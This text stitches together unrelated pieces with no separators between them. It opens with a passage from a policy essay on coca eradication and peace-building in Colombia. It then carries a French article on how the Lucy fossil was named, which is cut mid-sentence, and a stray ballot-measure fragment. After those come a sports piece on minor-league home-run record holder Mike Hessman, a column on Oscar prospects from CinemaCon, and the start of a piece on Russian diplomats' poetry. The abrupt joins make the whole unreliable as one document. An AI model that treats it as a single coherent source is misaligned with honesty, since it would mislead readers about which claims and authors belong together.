Providing effective alternative livelihoods to the several hundred thousand cocaleros, and many more who could take their place, will be very challenging, require vast resources, and take not years, but decades. Countries such as Burma, Laos, and Vietnam in the 1990s achieved the eradication of illegal drug crops on a similar scale through a combination of repression, eradication, and negotiated limited economic incentives for farmers—though in Burma it did not last, with poppy cultivation now robustly back.36 Mao Zedong’s China successfully eradicated poppy in the 1950s on an even larger scale without essentially any alternative livelihoods being in place amidst an atmosphere of utter fear and no political resistance to a regime that did not shy away from executing millions of people.37 But only one country has succeeded in eliminating the cultivation of illegal crops through alternative livelihoods on a countrywide level—Thailand. There, it took three decades of efforts, a lot of experimentation with and adjustment to the alternative livelihood efforts and tremendous political and financial commitment by the Thai royal family and external partners, including sustained long-term financial assistance. Crucially, during the key years of alternative livelihoods efforts in the 1980s and 1990s, Thailand was one of Asia’s economic tigers and the entire country grew in a way that generated many new jobs. And at the peak of poppy cultivation in the 1960s, total production was under 20,000 ha, a small fraction of what Colombia needs to grapple with. Alternative livelihoods were designed as comprehensive and multifaceted rural development and did not merely center on chasing the replacement crop.38 They sought to extend Thai citizenship to poppy cultivators as well as provide them educational opportunities and health services. Eradication was only negotiated, and took place only several years (often five or more) after alternative livelihoods efforts were brought in to the villages and only after they started producing income.
Colombia would be wise to carefully study the Thai model. And the United States needs to exercise patience and not undermine Colombia’s deeper peace process by insisting on premature eradication of coca. A key problem of Colombia’s alternative livelihoods efforts, often wrongly encouraged by the United States, has been to insist on coca eradication first, as a precondition to economic assistance or very soon, within three or six months, after minimal and mostly inadequate “alternative livelihoods” are brought in. This initial economic assistance has never been sufficient to stimulate adequate and sustainable livelihoods, mostly serving as a temporary Band-Aid against food insecurity due to eradication or foregoing coca cultivation. Both the U.S. administration of Barack Obama and the U.S. Congress over the past decade have shown such wise patience regarding poppy cultivation in Afghanistan. It is time to apply similarly learning and wisdom to counternarcotics policies in Colombia, including their long-term problems and counterproductive effects, such as of premature eradication.39
The reality is that for a very long time, there will be a lot of coca in Colombia, quite possibly at significantly higher levels than in recent years. Yet if Colombia, partly due to pressure from the United States, moves to forced eradication before alternative livelihoods are in place, it will risk eviscerating the rural transformation that can be the deep anchor of Colombia’s peace.
Although the United States once again in September 2016, for the ninth consecutive year, decertified Bolivia for what it deems as non-compliance with counternarcotics efforts, Bolivia’s uno-cato model is another anti-drug strategy well worth for Colombia to explore and consider.40 Under the uno-cato policy, a family is allowed to cultivate a small area of land—uno cato or 135 square feet—with coca to assure food security and the family’s basic economic survival, while alternative livelihoods as well as eradication efforts seek to reduce cultivation over the uno cato and gradually reduce poverty and economic dependence on coca cultivation.41
The Morales government has been diligent in eradicating excess coca, often destroying as much as a third of yearly cultivation. The actual level of cultivation is disputed: According to the latest U.S. numbers, coca cultivation in Bolivia increased by 30 percent between 2013 and 2014, to 35,000 ha.42 According the UNODC and the Bolivian government, coca cultivation in the country declined from 20,400 ha in 2014 (one third less than the U.S. government estimated) to 20,200 ha in 2015. 43 However, even at the higher U.S. estimates, coca production in Bolivia remains considerably lower than in Colombia or Peru. Whether Bolivia’s levels of cultivation are the outcome of policy design and effective execution or the consequence of exogenous factors (with Bolivia’s production displaced by the expanded coca cultivation in Peru and Colombia) is debatable. U.S. counternarcotics officials maintains that over the past decade Bolivia has again become a major cocaine transshipment hub and a favorite hangout and business center for Colombian and Brazilian drug traffickers, and much of the coca cultivation ends up diverted to the cocaine trade.44 The government of Bolivia denies this, and engages in interdiction against traffickers.
The Morales coca policy has also struggled and arguably failed in its second core pillar—the so-called rationalization of coca, i.e., an effort by the government to find legal outlets for coca products. Partially due to an inauspicious international legal environment, but also due to a lack of customer interest, products such as coca wine or soap have not taken off. To generate any legal outlets for coca cultivated in excess of the amount consumed in traditional Bolivian markets (for coca tea and for chewing), the Bolivian government has resorted to feeding school children coca flour products. However, the children do not like them since coca flour is very bitter.
The most productive role for the FARC and one that could assure the group some political future would be for them to advocate smart alternative livelihoods and oppose premature eradication while simultaneously withdrawing from the illegal cocaine trade.
The Colombian government is putting a lot of stock into the legal cultivation of marijuana for external and future internal medical marijuana markets as a key element of its alternative livelihoods efforts. It has already handed out several licenses for medical marijuana cultivation.45 Yet unless many other facets of rural development, including distribution of land titles, microcredit access, technical and marketing skills development, and assistance with establishing value-added chains and market access also accompany the medical marijuana push in Colombia, it will suffer from all the same multitude of problems as have efforts to promote as replacement crops coffee, cacao, or potatoes.46 Moreover, without special assistance, Colombia’s cocaleros will not be able to compete against Colombia’s large agribusinesses in medical marijuana in the same way they are not able to compete in other legal crops. Indeed, developing off-farm jobs and incomes will need to be as crucial an element of efforts to reduce coca cultivation as of efforts to reduce urban poverty and provide assistance to the internally displaced. And should the legalized medical marijuana cultivation really take off so that it can employ more than a small of number of the cocaleros, the price of medical marijuana could dramatically drop to levels that may not provide sufficient income to small growers.
Thus in many areas of Colombia where cocaleros currently grow coca, medical marijuana will not be able to compete with cocaine. Indeed, because of the costs of transportation from these remote areas separated from Colombia’s infrastructure and external markets by mountain ranges and jungles, only the production of light-weight illegal drugs with high profit margins, such as cocaine or heroin, is economically viable. Indeed, in the majority of those areas – with a possible exception of niche ecotourism zones, such as for birdwatching that could over time be developed—no alternative livelihoods efforts will be viable: Cocaleros there will only be able to participate in legal economies and escape the trap of illegality if they move to other parts of Colombia. However, other current areas of coca and poppy cultivation can be developed economically—whether with legal agriculture or legal mining or other industries—and the Colombian government and international drug assistance efforts should concentrate on them.
Sadly, the most likely and viable replacement economy for many of Colombia’s cocaleros may be illegal logging. Such problematic logging—both legal and illegal, but in any case unsustainable and environmentally-devastating—emerged as a replacement to poppy in Thailand, Burma, Laos, and Vietnam.47 Illegal logging has already significantly increased in Colombia over the past decade, driven both by international demand for hardwoods and illegal land clearing for African oil palm cultivation. And of course, past eradication efforts have pushed the cocaleros into national parks and other forest areas, compromising those natural environments. Paradoxically, it could well be Colombia’s biodiversity and environment that pays a great price for Colombia’s peace. Preserving this rich biodiversity and limiting climate change are yet further reasons why the United States should not insist on premature and misguided drug crop eradication in Colombia, and the Colombian government should resist such pressures until it can deliver viable and desirable legal livelihoods. The environmental costs would not be worth any of the limited gains of drug eradication.
The Middle Class and the Social Contract
Unless Colombia manages to undertake politically-complicated tax reform, a large and disproportionate part of the financial outlays to support the peace and its promised social development and transformation will be shouldered by Colombia’s middle class for decades to come. And it remains to be seen how long the middle class, often quite vulnerable to back-sliding as a result of macroeconomic shocks, price commodity downturns, or micro effects, such as poor health of family providers, will be willing to put up with such resource redistribution. In Brazil’s Rio de Janeiro, the willingness of the middle class to pay for developing crime-ridden and marginalized slums evaporated within three years, despite an initial enthusiasm for the effort and broad support for the so-called Pacification effort (which has also struggled with many other challenges beyond adequate resources).48 In India, the middle classes have often been even less generous to the poor whose ranks they may have left only a generation or less before, often boycotting government efforts to extend public services and urban development to urban slums or particularly underdeveloped rural areas.49
Indeed, both for the sake of sustainability and basic equity, the Colombian state and society must seek to implement a more equitable tax reform. Fewer of the wealthy should be able to get away with not paying taxes or paying inappropriately small ones. Maintaining the tax on the wealthy that since the Uribe years has financed the war effort and transforming it into a tax to support the peace process and periphery development is a crucial element.
Moreover, the tax reform also needs to promote growth that creates job, not merely capital—that means rather fundamentally reversing the tax system entrenched in Colombia for decades that charges land very lightly (exacerbating land theft and speculation) and labor very heavily, privileging capital-intensive growth but not job creation.
Conclusions and Recommendations
Whether Colombia ever manages such tax reform will be one indicator of whether it manages to achieve a sustainable peace along with social justice that the FARC peace deal promises. A more limited and financially and politically-cheaper peace, without social inclusiveness and equity, can plod on in Colombia for a long time. Perhaps—and sadly—that may be the most likely political outcome in Colombia regardless of what happens in the referendum on the FARC peace deal.
Yet such a future would be a terrible waste of an opportunity that may not return for a long time. The underdeveloped marginalized periphery—in the remote rural areas as well as the urban slums—would only fester, perhaps one day spilling its problems over again onto the developed and thriving parts of Colombia. In the shorter term, such a peace without social transformation would be pervaded by criminal and social violence.
Colombia can prevent such a mediocre outcome through several broad mechanisms.
Pursue long-term transformation. The Santos administration must continue to lobby actively for the broad-based social support for the peace-linked social transformation—way past a yes-outcome in a referendum. By building such support, it should try to inoculate the nation against efforts of rightist politicians and vested interests to eviscerate the peace and social transformation after the Santos administration has completed its second term. Push through tax reform. Santos should attempt to push through the above-outlined tax reform before its administration is over, especially if the referendum delivers a resounding yes to peace. The regime should also seek to legislatively codify mandatory social development of marginalized rural and urban areas for at least a decade. Since many of the development and state-building programs will have to be experimented with and often significantly altered to achieve better effectiveness on the ground, such legislation should not get into specifics of implementation. It should not specify, for example, where, on what, and how money should be spent or otherwise earmark the funds beyond the concept of transferring resources to marginalized communities and areas to facilitate their social development and the achievement of a deep peace. Maintaining policy flexibility while retaining a strong commitment to social inclusion and broad-based equity should be the spirit of such legislation. Instrumentally, such a peace tax could be promoted as the equivalent of the Uribe administration war tax on the wealthy to support the anti-FARC military effort. Block and deter defections. The Colombian government and its international supporters should diligently counter any defections from the peace deals. Many elements and facets come under the rubric of this broad recommendation, such as aggressive targeting and disabling of any FARC units that defect to other militant or criminal groups, as well as a determined effort to provide meaningful, robust, and well-designed DDR to individual ex-FARC combatants, not merely token assistance. Robust effectiveness in crushing early defections may create deterrence effects to halt others. It also includes ramping up efforts against the bandas criminales as well as an effort to engage or substantially militarily weaken the ELN and other armed groups that proclaim a political objective. And importantly, it also includes providing protection against physical attacks and assassination to ex-FARC leaders and combatants for years to come, well beyond the 180 days of disarmament. Providing political and technical assistance to the FARC to find a legitimate and effective role in the political space, such as an effective voice on behalf of the cocaleros or of urban poor, would also facilitate peace for the long term. Sequence state-building efforts and concentrate resources. While the broad commitment of the state and society needs to be to state-building and development throughout Colombia, how and where the state rolls out the beefing up of its presence will have to be sequenced. The resource demands on robust development and state-building are simply too large to conduct them throughout the country. Picking what areas are strategically most important and where crucial demonstration effects need to be achieved first so that commitment to the social transformation can be maintained is politically very difficult. The pressures of democratic elections are to give every community some handout, even though such limited handouts do not result in transformative effects. Indeed, the build-phase of counterinsurgency, rural development, and alternative livelihoods efforts in Colombia frequently suffered from this problem. The Colombian government would check off the box of having extended state presence by giving one or two policemen to each municipality, irrespective of how many tens or hundreds of square kilometers the municipality covered, or by giving a community a bridge, an electric generator, or a clinic and nothing more.
Yet not just politics—but also justice and equity—make it difficult to select only some areas as deserving of a robust, multifaceted, capacious injection of state assistance in round one while others may have to wait several years for a similar package to arrive in their area. Indeed, in the various iterations of the Consolidation Plan, the government could not agree within itself and with local administrations on how many and what areas should be selected as strategic zones and prioritized. Those debates essentially ended unresolved; and the government shifted attention to negotiations with the FARC. They will now have to be revived.
Even though concentrating resources and sequencing areas of state development is politically difficult, it is also necessary. Eventually, all of Colombian communities will need to be covered by the development effort. But if the state starts doing a little bit everywhere, it will dissipate its resources without achieving sustainable transformation in most areas and without building sustainable political support for the costs of peace through credible demonstration effects.The Beatles, Lucy in the Sky with Diamonds
Avec ses mandariniers, ses ciels de marmelade, ses fleurs en cellophane jaune et vert, ses gens sur des chevaux à bascule mangeant des tartes à la guimauve, l’univers de la fille aux yeux kaléidoscopiques du Lucy in the Sky with Diamonds des Beatles tient plus du Summer of Love de San Francisco que du Plio-Pleistocène des sables d’Ethiopie.
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Et pourtant, ce morceau des Beatles, écrit par John Lennon et paru sur l’album Sgt. Pepper’s Lonely Hearts Club Band en 1967 est la plus célèbre bande-son de toute la paléontologie. C’est en effet de ce titre qu’est né le surnom de Lucy, donné au spécimen d’Australopithecus afarensis vieux de 3,2 millions d’années découvert le 24 novembre 1974 à Hadar sur les bords de la rivière Awash, dans le triangle de l’Afar, en Éthiopie, et plus prosaïquement connu sous le code AL 288-1.
Lucy fait, pour le public français, un peu partie de la famille, puisqu’elle fut mise au jour par l’International Afar Research Expedition (IARE), une équipe regroupant une trentaine de chercheurs éthiopiens, américains et français, codirigée par l’Américain Donald Johanson (pour la paléoanthropologie), le Français Maurice Taïeb (pour la géologie) et notre Yves Coppens national (pour la paléontologie). Depuis, Lucy a été rejointe par bien d’autres spécimens de son espèce, le genre Australopithecus s’est renforcé de nouveaux membres (Sediba), et la sous-tribu des Hominines élargie de taxons bien plus anciens. Lucy reste la star incontestée des fossiles de pré-humains, mais on a désormais un peu l’impression qu’elle fait partie des meubles et prend la poussière – un peu comme les Beatles.
Redonnons-lui un peu de son lustre d’antan en nous replongeant au moment de sa découverte. Comment, exactement, est-on passé de la Lucy psychédélique des Beatles à la vedette de la paléontologie mondiale?
Pour le public français, la découverte d’Au. afarensis est étroitement liée à Yves Coppens. Laissons à celui-ci le soin de narrer l’anecdote (in Le genou de Lucy) :
Lucy comme celle du ciel », c’était la Lucy in the sky with diamonds des Beatles, dont on avait la cassette et dont le prénom s’est imposé à nous dans le camp pour nommer le petit squelette, lorsque sacrum, bassin et gracilité à la fois en ont fortement suggéré la féminité. Il est amusant de rappeler que ce titre aurait à l’origine été celui qu’une petite fille d’un des Beatles avait donné à l’un de se ses dessins lorsque, rentrant de l’école, ses parents lui avaient demandé ce qu’elle avait voulu représenter, mais tout de même, la « coïncidence » du titre avec les lettres LSD ne devait pas être tout à fait innocente. Il est amusant aussi de dire ici que bien des gens sont convaincus que c’est notre » Lucy qui a inspiré les Beatles ; il y en a même qui m’ont déclaré que c’était certainement la notoriété de Lucy des Afars qui avait fait la leur!
Le passage dit assez bien ce que ce fossile doit de son incroyable popularité à son surnom, qui a permis une identification quasi instantanée de tous sur toute la planète. Mais il permet aussi de tirer quelques fils assez intéressants sur la façon dont la petite histoire des scientifiques et la grande histoire de la science s’ordonnent parfois pour tisser quelque chose qui habille la réalité, mais n’est plus tout à fait la réalité.
Le premier de ces fils est musical. La « petite fille de l’un des Beatles », mentionnée par Coppens, s’appelle en réalité Julian et est, jusqu’à preuve du contraire, un garçon – le fils de John Lennon. Le reste de l’anecdote correspond à ce qu’a raconté le guitariste des Fab Four pour expliquer que la chanson n’était nullement inspirée par le LSD (comme le laissaient supposer ses initiales), mais par Lewis Carroll et par un dessin représentant une des camarades de maternelle de Julian, alors âgé de quatre ans.
Bon on peut pardonner Coppens de mal maîtriser l’histoire du rock. Venons-en donc au deuxième fil, relié à cette histoire de cassette écoutée au camp, expliquée par Coppens dans cette vidéo (c’est la séquence Le baptème de Lucy à partir de 25 :45) :
On sent le machin incroyable raconté en fin de dîner par l’oncle Albert une fois que toute la table a fait silence. Cela fait partie de la légende familiale, personne n’irait demander si tout cela est rigoureusement exact.
Le truc un peu gênant, ici, c’est que Coppens a peut-être écouté les Beatles à Hadar, mais pas au moment de la découverte de Lucy, puisqu’il n’était pas sur place. Yves Coppens est en effet très souvent présenté comme le « codécouvreur » du fossile, mais le premier fragment a été repéré par Donald Johanson et son thésard Tom Gray, qu’il avait accompagné sur le terrain ce matin-là plutôt que de rattraper son travail en retard. Johanson notait dans son journal du jour : « 30 nov. 1974. Matin : localité 162 avec Gray. En forme ». Et devait écrire plus tard :
En me levant ce matin-là, j’avais senti que c’était un de ces jours où il faut savoir saisir sa chance, un de ces jours où tout peut arriver.
Une belle façon de réinterpréter les événements a posteriori, mais comme Johanson le dit lui-même, les paléontologues sont superstitieux. Revenons sur l’histoire de la K7 et du baptême de Lucy, racontée cette fois par le vrai témoin direct de l’affaire :
Dans un entretien à La Recherche, Johanson dit à peu près la même chose que dans cette vidéo, mais en Français :
Le premier soir, il y avait une ambiance spéciale. Nous avons mis de la musique, en buvant de la bière que nous avions fait rafraîchir dans la rivière Awash. C’est vrai, comme cela a été beaucoup raconté, que nous avons en particulier écouté Lucy in the sky with diamonds, des Beatles. Mais nous ne l’avons pas du tout passée en boucle! Pam Alderman, ma petite amie de l’époque, qui était là, a lancé, un peu au hasard: «Si vous pensez vraiment que c’est une femelle, pourquoi ne pas l’appeler Lucy?» Personne ne s’est exclamé «Oh oui, super, c’est son nom!» Mais les jours suivants, les étudiants se sont mis à dire: «Tu retournes sur le site de Lucy? Est-ce que tu vas trouver d’autres morceaux du crâne de Lucy?» C’est comme cela qu’elle a commencé à avoir sa personnalité propre, son identité propre, et qu’elle est devenue une référence dans l’évolution humaine. Aujourd’hui, tout le monde en a entendu parler, même les enfants de l’école primaire. Je ne sais pas pourquoi, mais il semble que les gens aiment bien ce nom. Si nous l’avions appelée Mathilda, ça n’aurait peut-être pas pris.
Et souligne, au détour de la conversation, que Coppens est bien arrivé après la bataille :
Je n’avais pas d’appareil avec moi. Quelques personnes en ont pris le lendemain, mais, dans l’ensemble, les gens étaient trop excités par ce qui se passait. Peu de temps après, Maurice [Taïeb] est revenu au camp. Il a dit que nous devions contacter Yves Coppens et les autres participants à l’expédition qui n’étaient pas en Éthiopie à ce moment-là. Coppens est finalement arrivé avec une équipe française de télévision, mais nous avions déjà fini de dégager les ossements.
Bien et alors? On peut comprendre qu’au bout d’un moment, Coppens en ait eu marre de préciser qu’il n’avait pas lui-même découvert Lucy et en soit venu à raconter l’histoire en s’y incluant naturellement. Pas de quoi fouetter un chat. Toutefois, l’épisode peut être lu différemment, lorsqu’on parcourt l’ouvrage que Johanson a consacré à la découverte de Lucy (Lucy : une jeune femme de 3 500 000 ans) qui, soit dit en passant, est fichtrement captivant. La singularité de ce livre est qu’Yves Coppens y brille par son absence. Ce qui ne manquera pas d’intriguer le lecteur, avide de tirer un troisième fil, nous permettant de lever un petit coin du voile sur le fonctionnement de la recherche au quotidien, une réalité généralement parfaitement occultée dans les livres de vulgarisation des chercheurs.
Johanson, qui a participé à la grande aventure de l’Omo (un autre grand site à hominidés en Éthiopie) au tout début des années 1970, souligne combien à cette époque, la rivalité entre Français et Américains était vive, bien que cette campagne de fouilles débutée en 1967, eût été annoncée comme la première expédition anthropologique internationale réellement coopérative. Les Français, exerçant leur droit de priorité sur ce site, s’étaient ainsi réservé la plus grande étendue de dépôts et ne manquaient pas de traiter leurs collègues américains avec une arrogance qu’on imagine assez bien.
Johanson note toutefois que, sous l’impulsion de Coppens, les choses s’étaient (très légèrement) améliorées :
À l’origine, les deux camps avaient été matériellement séparés par une distance considérable. Mais après la mort d’Arambourg [Camille, qui dirigeait l’équipe française et à qui Coppens succéda], Coppens invita le groupe de Howell à venir s’installer dans la concession française et à en exploiter un petit secteur, à l’extrémité nord. Ce secteur était séparé de la partie qu’exploitaient les Français par un chemin qu’empruntait Ie bétail pour descendre à la rivière, et que l’on finit par appeler la ligne de démarcation, au-delà de laquelle toute intrusion professionnelle était interdite.
Alors, l’occultation de Coppens dans l’ouvrage de Johanson tient-elle d’un renvoi d’ascenseur bien mérité?
Pas si simple. Johanson note aussi dans son livre qu’il aime bien les Français. Pour ce qui est de l’expédition de Hadar, il les a aidés financièrement à plusieurs reprises en leur achetant du matériel, et il ne manque pas de souligner les qualités professionnelles et humaines des chercheurs français, notamment de Maurice Taïeb, dont il a par la suite rappelé le rôle majeur dans la découverte de Lucy : c’est le géologue français qui, après avoir exploré le triangle de l’Afar, a persuadé Johanson de l’intérêt fossilifère de la |
be placed on the ballot - will be considered by the supervisors Tuesday.Mike Hessman of the Toledo Mud Hens hit his 433rd minor league home run, a thunderous grand slam, breaking the minor league record for the most home runs:
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Hessman, 37, is playing his 19th minor league season. He got up to Triple-A in 2002 at the age of 24 and just... stayed there. He's never been sent back down to Double-A, and he's only had a few trips to the big leagues, none since the Mets called him up in 2010. He's just been hanging out in the minors, blasting out bombs alongside players a decade or more younger than him.
Every freakin' article ever written about Mike Hessman, including this one, mentions Crash Davis, the lovable old catcher in Bull Durham, at least once. It typically happens in the headline, or the lede.
It's a shame. The fact that Davis is famously depicted setting the minor league home run record in that movie makes everybody think "setting the minor league home run record" is a thing that happens. "Oh yeah," you say, "I remember hearing about somebody doing that somewhere."
You haven't. Nobody has broken the minor league home run record since before your parents were born.
In the movie, Davis is credited with breaking the record at 246 homers, a number that apparently sounded big enough to be a minor league home run record. Hessman has now hit 433.
He is the first person to hit more than 400 minor league home runs born after the start of World War I. The man whose record he broke, Buzz Arlett, retired in 1937 and died in 1964. (Hector Espino hit 484 in the Mexican League, although this is formally connected with Minor League Baseball, it isn't analogous to the farm system set-up of the American minor leagues.)
Back then, the gap between the big leagues and minor leagues was mere thousands of dollars instead of millions; MLB farm systems weren't as heavily formalized. It wasn't as unreasonable to play 20 seasons in the minor leagues. To some, it might have been somewhat glamorous.
For Hessman, it has not been particularly glamorous. We don't know what Hessman's salary is -- he's on a "minor league deal" -- just that it probably isn't a lot. The standard salary for a Triple-A player starts at $2,150 per month in season and increases year-by-year; nobody on the Internet has explained what happens if a player continues playing in Triple-A for two decades.
Hessman is 10.2 years older than his average teammates, per Baseball-Reference. The only thing connecting him to his teammates is baseball. He actually said this:
"I don't know a lot of the stuff they have going on in there," he said. "I don't even know what they call that techno stuff now. I have no clue."
Hessman has put up with the long bus rides and low pay. The only pictures of Hessman in our photo tool are from a May game where he broke the record for most International League home runs. Because he is a minor league baseball player, and minor league baseball players have to wear gimmicky things to sell tickets, here he is, a 37-year-old man dressed up in a Ghostbusters costume.
Photo credit: Andrew Weber, USA Today Sports
So why does he keep on? Why does Mike Hessman keep doing this?
Because Mike Hessman is really, really, really, really good at mashing taters. He mashes the hell out of some taters, and he loves it, because it is what he is great at.
Hessman's lack of major league opportunities is not a mistake. It's not that he's been passed over. Hessman is not very good at the vast majority of things baseball players are expected to do.
His career minor league average is just.232. In his one season in Japan, he hit.192. In his cups-of-coffee in the majors, it was even worse,.188.
Hessman's biggest problem is that he strikes out pretty much constantly. He has 2,347 minor league strikeouts. That'd be fourth in MLB history. He has struck out in 27 percent of his minor league at-bats. When he makes contact, he doesn't always make great contact. When The Hardball Times begged teams to sign him a few years ago, they noted that 23 percent of his flyballs were infield pop-ups, a bad percentage.
He wallops that stupid freakin' ball so freakin' hard that it gets the hell out of that park and swears never to come back.
But every once in a while, he absolutely crushes the ball. He wallops that stupid freakin' ball so freakin' hard that it gets the hell out of that park and swears never to come back.
Hessman has hit 20 homers with an average of.250 or worse 10 times, and he will probably do it again this year. He hit 35 dingers with a.231 average for Oklahoma City in 2012. He hit 24 with an abysmal.165 average in 2006 with Toledo.
Even in the majors, where he didn't make much of a mark, he swatted moonshots on the regular, managing 14 homers in 223 at-bats. Small sample size, sure, but that ratio -- a homer every 15.92 at-bats -- would be amongst the top 30 all time. Hessman actually hit a dinger for his first major league hit, a pinch hitting opportunity in his second game. (The fan only agreed to give the ball back if he got a autographed bat from Marcus Giles, which is just rude, TBH.)
At this point, Hessman doesn't dream of a long MLB career. He told the Los Angeles Times he doesn't think he'll get called up again, and considering he hasn't been in the show in five years, that seems likely to be the case. But... this is all he knows how to do:
"Baseball is the only thing I've ever done and I'm going to stick with it as long as I can," Hessman added. "I know it doesn't last forever. I've had former teammates call me after they quit, a year after they are in a 9-to-5 job, and they say they shouldn't have left. There are times you get frustrated and think you've had enough, but this is a pretty good gig."
Mike Hessman is great at one thing: Blasting dingers. Sadly, his various faults have prevented him from a long-term job in the world's preeminent dinger-blasting society, and kept him from the huge financial windfalls that come with top-flight dinger-blasting.
This has not stopped Hessman from doing what he loves, what he's great at, what makes him happy: smacking the living bejeezus out of that stupid little ball and watching it fly over that dang fence. We hope he never stops.
★★★
SB Nation archives: The best boss in the minors (2012)If, as Deadline reported exclusively yesterday, it’s not too early to name next year’s Oscar show producers (Mike De Luca and Jennifer Todd will return, with Jimmy Kimmel eyed to host again), then it’s not too early to speculate on just who might be nominated. I am talking specifically about what I see as awards and Oscar possibilities coming out of the week I just spent at CinemaCon in Las Vegas, where eight studios showed off their product reels to the theatrical exhibition community. Granted, most of the movies on view here fall into more of a commercial category than necessarily award-sy (don’t look for The Fate of the Furious at the Oscars unless they establish a stunts category) but, just one month after the infamous 2017 Oscar show, I say let’s get the ball rolling with what looks promising out of CinemaCon and all those studio presentations Deadline exhaustively covered.
Starting with 20th Century Fox — the studio that displayed the most showmanship by far with a song-and-dance show bookending star appearances and clips — Hugh Jackman starring in the big, brassy original musical on the life of P.T. Barnum called The Greatest Showman would seem to have enormous potential both above and below the line, at least based on the snappy, impressive footage shown. With songs by the Oscar-winning La La Land team of Benj Pasek and Justin Paul, who also are strong Tony possibilities for Dear Evan Hansen, this looks like the kind of movie that easily could rack up several nominations including lead actor for Jackman, whose most recent nom was for another musical, Les Miserables. Or perhaps a supporting player such as Keala Settle, who plays the Bearded Lady in the film. The Broadway stalwart, most recently in Waitress, has her first big movie role and gets to deliver what I hear is a Jennifer Hudson-like Dreamgirls moment. In introducing the clips for the Christmas Day release, Jackman was raving about her.
Also from Fox throw in the highly dramatic survival film The Mountain Between Us, which stars award magnets Kate Winslet and Idris Elba, is based on a best seller and is set for an October 20 release. Peter Chernin and Jenno Topping, who produced this year’s Fox 2000 Best Picture nominee Hidden Figures, are back with this one. And then there is director-star Kenneth Branagh’s all-star take on Agatha Christie’s Murder on the Orient Express, which has a cast including Dame Judi Dench, Penelope Cruz, Johnny Depp, Michelle Pfeiffer and many more. Back in 1974, Sidney Lumet rode the Orient Express to six Oscar noms and a Supporting win for Ingrid Bergman. It has the awards-friendly date of November 22.
Not only was the Fox show fun, the slate had real variety — and it all came in under 90 minutes. This is the way it should be done. Also impressive, particularly because no one trumpeted the fact, is that it was shepherded on stage by 20th’s powerhouse all-female executive team led by Chairman Stacey Snider, Co-Chairman Emma Watts, Fox 2000 President Elizabeth Gabler and Fox Animation President Vanessa Morrison. The times they are a-changin’. Nice. Not to be left out, of course, is Fox Distribution President Chris Aronson, who did his usual splashy opening and got the supremo event off to a great start.
Another clear Oscar possibility came from Tuesday’s Paramount slot, where 10 minutes of Alexander Payne’s Downsizing was shown. The very smart -looking and pertinent comedy is about a couple (Matt Damon and Kristen Wiig) trying to survive financially and live a decent life who decide to literally “downsize” by having surgery that miniaturizes them. A brilliantly absurb premise with an Academy favorite as director would seem to be a slam dunk for consideration, along with its December 22 release date. I hear it also has a nice role for two-time Supporting winner Christoph Waltz. George Clooney’s long-gestating filmization of an older Coen brothers script, Suburbicon, might be a longer shot due to its Coen-style quirkiness but still has to be one to watch. I wouldn’t be surprised to see one of these or maybe both head to Cannes if their directors deem they are ready. Annihilation, from Ex-Machina director Alex Garland, is another one to watch closely based on the sensational footage of the thriller starring Natalie Portman and Oscar Isaac.
Focus Features
Universal devoted all of its four-hour (!) slot on Wednesday morning to summer popcorn fare, but its specialty division Focus Features celebrated its 15th anniversary directly after at a massive lunch in which clear Oscar bait was previewed including Gary Oldman almost unrecognizable (always a plus with the Academy) as Winston Churchill in November’s Darkest Hour from director Joe Wright. If the movie lives up to the promise of this performance, it will be formidable and land Oldman his second Best Actor nomination. A gushing host interviewing Oldman onstage suggested exactly that, but the veteran star brushed it off. The combination of Stephen Frears and Judi Dench (again) looks irresistable in the period drama Victoria and Abdul, in which Dench could land more awards talk for again playing a British queen.
Warner Bros
As for Warner Bros’ no-nonsense presentation, there wasn’t much on the 2017 slate to suggest obvious Oscar fodder with the distinct exception of Christopher Nolan’s WWII epic Dunkirk. Some stunning footage introduced by the director elicited strong buzz in Vegas. Warners also shares distribution duties with Sony (for international) on Denis Villeneuve’s Blade Runner 2049, which could score some attention, especially since Villeneuve is just coming off the Oscar-nominated Arrival breaking the sci-fi curse at the Oscars. Sony also made a big deal of the film at its opening Monday presentation, even bringing out star Ryan Gosling. We’ll see if it can break through in October, but it got a very big play at CinemaCon from two studios.
Michael Buckner/Deadline
Disney’s brief rundown preceding its screening of Pirates of the Caribbean: Dead Men Tell No Tales was mostly about how much money the studio makes, but obviously their its entries will command attention. The presentation was not about creating Oscar buzz, as it already haa Beauty and the Beast likely to score some technical noms at the very least. STX’s Molly’s Game, starring Jessica Chastain as the notorious poker madam and representing Oscar winning screenwriter Aaron Sorkin’s directing debut, looked very good in early footage shown and at the very least should put its star in contention when it opens in the fall. It was well received.
Amazon Studios
Finally, upstart Amazon came to CinemaCon for the second year in a row, hosting Thursday’s lunch and showing off real awards potential with Kumail Nanjiani’s Sundance hit, The Big Sick (June) and a hilarious riff by the star and his wife Emily V. Gordon talking about this true-life movie version of their own courtship. Mideast-set war drama The Wall, a May 12 release through Roadside, promises a tour de force turn from Aaron Taylor Johnson that could connect with voters for the Nocturnal Animals Golden Globe winner if the movie gets any traction. Ben Stiller’s performance in the currently shooting Mike White film Brad’s Status was touted by Marketing and Distribution head Bob Berney, and the footage shown confirmed the promise. Early footage from Richard Linklater’s Last Flag Flying with Bryan Cranston, Steve Carell and Laurence Fishburne was extremely well received, but it is too early to see if the Boyhood director has another Oscar contender with this fall entry.
Scholastic Press
Julianne Moore and Michelle Williams are seen to good advantage in Todd Haynes’ Wonderstruck, another title definitely heading to Cannes (we know these things even if Amazon is coy about it). There’s so much Oscar cred in this one, and Haynes is coming off six nominations for 2015’s Carol. It looked really strong. Amazon has lots of possibilities, but at this early date it is hard to tell on some of the others until we see the goods.
That is probably true of all of what we saw in Vegas this week, but isn’t fun to speculate? Giving us an early peek at some Oscar fodder, CinemaCon proved it is not only about money (well, mostly), even if I hear the words “billion” and “record breaking” again, it will be too soon.Russian Foreign Minister Sergei Lavrov reacts at a news conference after a meeting with his German counterpart Frank-Walter Steinmeier in Moscow on March 23. (Sergei Karpukhin/Reuters)
“For example, there’s clearly too much dirt / Bottles, cans and other litter / They could use our snow to cover it like cotton / And the whiteness would soothe the eyes,” Soviet Ambassador Anatoly Adamishin wrote about Italy on a three-hour flight to Rome in 1981.
The rhythmic couplets, written in Russian, are among the first in a 541-page anthology of Russian and Soviet poetry by employees of the Foreign Ministry published in 2012.
Russia’s hard-charging diplomatic corps is best known for wrangling in the U.N. Security Council and testy bilateral summits, but it does have a softer side.
In fact, wordplay is part of the job description, career diplomats said in interviews, and for some of the well-read and overworked Russian officials who staff the Foreign Ministry, poetry is a natural way to blow off steam.
